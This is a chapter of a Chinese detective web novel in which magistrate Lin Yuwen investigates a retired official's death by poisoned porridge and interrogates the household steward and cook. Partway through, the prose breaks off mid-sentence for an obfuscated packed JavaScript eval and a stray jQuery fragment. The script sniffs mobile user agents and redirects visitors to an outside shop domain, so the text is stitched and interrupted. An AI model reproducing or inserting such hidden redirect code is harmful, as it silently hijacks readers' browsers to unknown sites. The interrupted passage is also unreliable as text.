62.
林与闻观察了下四周,发现桌上非常显眼地摆着一碗粥。
“这个是……?”
魏管家顺着他指的方向看过去,“这,这应当是今早的早膳。”
“嗯……”
林与闻看着他,犹豫地问,“我想,昨天欧阳大人让你去接我们的时候一定很健康吧?”
“当然,不然我也不可能抛下老爷——”魏管家好歹也是跟着欧阳大人这么多年了,“大人你是说!”
“验毒,”魏管家冲出门去,“我们这就验毒。”
林与闻不知道他要去找谁,但很快魏管家拽着一个中年男人来了,“大人,这是位大夫。”
这位大夫长得倒是仙风道骨的样子,林与闻让出位置,“您看看。”
大夫走到床边,像林与闻一样检查了下鼻息,又翻了一下欧阳大人的眼皮,眼神停留在欧阳大人的发紫的嘴唇上,“大人,这像是,”
林与闻和他异口同声,“中毒。”
“你有银针吗?”林与闻问。
大夫连忙从身后拿出一个小包,里面都是各式各样的工具。
林与闻指着桌上那碗粥,“去试一试。”
大夫点头,用一根银针放进粥中,稍稍转了一圈,再拿起来,针尖已经完全呈黑色了。
“……”
魏管家捂着额头,“我就,我就这么一个晚上没看住大人,他怎么就自己……”
林与闻对他做了个手势,“先别急着下结论。”
再着急自杀也总得看看圣上赐的牌匾吧。
“可有清净的地方说话?”林与闻问魏管家。
魏管家虽然尚在悲痛之中,但很熟悉林与闻这一套流程,“大人你是觉得——我马上安排。”
陈嵩这时候也凑到林与闻身后,“要不要让程姑娘赶过来?”
林与闻用眼神默许,然后转向还在那观察自己银针的大夫,“还没请教,您是?”
“哦,林大人,我是个江湖大夫,我姓周,名晨,字阳平。”他说的很全乎,“我其实是前两天云游到此处,借住来的。”
周晨表情复杂得不行,“我本来想着等雨停了就下山的,但是……”
林与闻露出抱歉的神情,“周大夫看来得多停留几天了。”
“可是,我这……”
“既是云游,我想大夫应该也不急着赶路才是,”林与闻笑了一下,没等对方回答就绕过周晨离开了,在他没有查明欧阳大人的死因之前,这个宅子的所有人都可能是凶手。
魏管家把书房准备好自己就先坐在林与闻对面了。
林与闻看他的样子有些无奈又有些心酸,“魏管家,你准备好了?”
魏管家眼神有些恍惚,他吸了一口气,“大人,现在问吧,我怕是只有现在最清醒了,等我回过味来,我怕……”他哽咽了一声。
“好,刚刚门口跪着的那些人都是谁?”
“嗯,有宅子里的下人,也有老爷的宾客和亲友。”他不断呼吸让自己的情绪不要起伏,“就像我之前说的,老爷三个月前搬到这来的,一开始只有我和许娘子两个人陪着他。”
“许娘子是厨娘?”
“是。”魏管家点头,“夫人过世之后,老宅的佣人都遣散得差不多了,老爷就留下了我和许厨娘两个家里无依无靠的。”
“所以,你是在说许娘子不会下毒?”
魏管家欲言又止,“要说动机不是完全没有,但是,”他摇摇头,“老爷曾经对少爷讲过,要是有天他过世,会分给我们两个一些钱财,不是什么巨款,但是足够我们两个人体面度过晚年了。”
林与闻点头,“你是说这有可能成为许娘子的动机?”
“是,这些我必须得跟您说清才行。”
林与闻点头,“你继续说下去。”
“但是我和许娘子都是家生仆,她没婚嫁,也没有其他的亲戚,我们都是定了心思要一直伺候老爷的,不至于——”
林与闻眯了一下眼睛,他在魏管家的神情中捕捉到一点多余的情绪,不过他没点出来,继续问,“那其他那些人呢。”
魏管家道,“那个年轻的小姐是我们老爷的远房外甥女,和她的夫君一同来这里看望老爷的。”
“远房,有多远?”林与闻问。
魏管家愣了一下,有些为难,“其实我以前也没见过这个外甥女,但是老爷和她相处得不错,总不能他自己也不认识自己的外甥女吧。”
林与闻,“啊对,之前你说只有你和许娘子是原本就跟着欧阳大人的家仆,那那个家丁和丫鬟?”
“啊,他们是等我们安顿好了才招来的人。”魏管家道,“这山里不好招人,所以老爷就写信给了他的好友,让他介绍过来的这两个人。”
林与闻又点头,“那还有个书生吧。”
魏管家想了想,“这个人是老爷的一个学生,此次落榜了,来山里散心的。”
林与闻突然问,“魏管家,是不是说这些人,全是欧阳大人自己联系到的呀?”
“……”魏管家定了定神,“还真是这样。”
“除了那个大夫。”
“对,那个周大夫是前两天突然来敲门的,那天大雨,他无处可去,老爷就收留了他。”魏管家回答。
林与闻转了转头,“既然是欧阳大人自己联系的他们,可有书信遗留?”
“没有。”
“嗯?”
魏管家也好像察觉到不对劲了,“老爷前些日子烧了很多东西,卷宗和书信,都烧了。”
“能告诉我这样的目的吗?”
“我也不知道,”魏管家叹气,“从夫人去世之后,老爷就一直恍恍惚惚的,做的很多事情都很奇怪,只是烧书信而不是烧房子,我们都觉得很正常了。”
也怪不得欧阳巡抚要辞官照顾父亲,欧阳大人的精神状态确实有点不太行了。
“那这些日子,欧阳大人还有什么异常吗?”
“我实在想不到,”魏管家五官皱在一起,“我以前还觉得老爷总说我愚钝,现在来看,我是真的愚钝啊。”
“……”
林与闻看他要哭,知道大概也再问不出来什么了,便叫他先退出去,“把许娘子叫进来吧。”
“大人……”
“魏管家放心,我也是刑部官员,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617582|203010||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我有分寸。”
魏管家也只能听林与闻的。
把许娘子叫进来之前,袁宇先进门,“所有人都控制住了,黑子去顺天府报案了,我想沈宏博那边知道该怎么办。”
通知家属和圣上之类的事情,沈宏博会办得很妥帖。
“你要审那个厨娘了?”袁宇看陈嵩在整理口供。
“嗯。”
“会是她吗?”
林与闻摇头,“不知道,”如果像魏管家说的那样,那么厨娘其实杀人的动机没有那么大,她更多的可能只是被人利用了,“而且我总觉得这个事情像是欧阳大人给我出的一道题。”
袁宇不解,“欧阳大人就算想考验后生,也没有必要拿自己的性命来出题吧。”
“平时不会,但是现在他本就有意寻死,又整了这么一出。”林与闻解释,“魏管家说这宅子里的宾客都是欧阳大人自己请来的,而且他还把所有的文字书信全都烧了,像是存了心思要让自己的死变成悬案一样。”
“那怎么办?”
“解题呗。”
当年林与闻刚进刑部的时候,为了让他们这些进士能尽快培养出刑狱官的直觉,刑部上官们会刻意把一些办结了的案子中的口供和证据从卷宗中抽出来,让他们猜测真凶是谁。
那时候上官们就说这是欧阳大人留下来的方法,不过现在人手不足,已经直接让新人参与案子里了,这个方法也就好久不用了。
林与闻深吸一口气,把陈嵩递来的口供压在手底下,“让许娘子进来吧。”
虽然现下并不是该高兴的时候,但是看到林与闻眼里的那束光,袁宇觉得很欣慰。
之前汪一郎的那个案子弄得林与闻心里很不舒服,甚至看到牛舌饼都提不起胃口,他现在确实需要一点更为轻松的案子整理心情。
不过凶杀案能算是轻松的案子吗?
袁宇径自思索着,许娘子已经低着头进门了。
“林大人。”她向林与闻行礼。
林与闻抬了下手,免掉她的礼,“许娘子坐吧。”
许娘子蹙着眉,一脸悲苦之相,“林大人,早上的粥是我端给老爷的。”
“那个时候……”
“那个时候,老爷还睡着,我就把粥放在桌子上就走了。”
林与闻抿了下嘴,“我看家里是有专门的下人的,怎么还用你端粥?”
“原先是不用的,”许娘子道,“但是现在家里宾客不是变多了嘛,所以张二郎和婉月都先顾着给那些人送早膳了。”
张二郎就是那个家丁,婉月是那个大丫鬟。
“欧阳大人早上就只吃这一碗清粥?”
“是,”许娘子点头,“老爷的早膳都很轻简,他说早上如果吃得太多,脑子就不转了,只会犯困。”
果然一人一个习惯,林与闻要是不每顿都吃得饱饱的,脑子才不转了呢。
林与闻问,“除了你以外,可有人接触过这个粥吗?”
“有。”许娘子和魏管家一样,两个人都坦坦荡荡的,他们在欧阳大人手下办事,知道说实话最能证明自己的清白。
“谁?”
“姑爷。”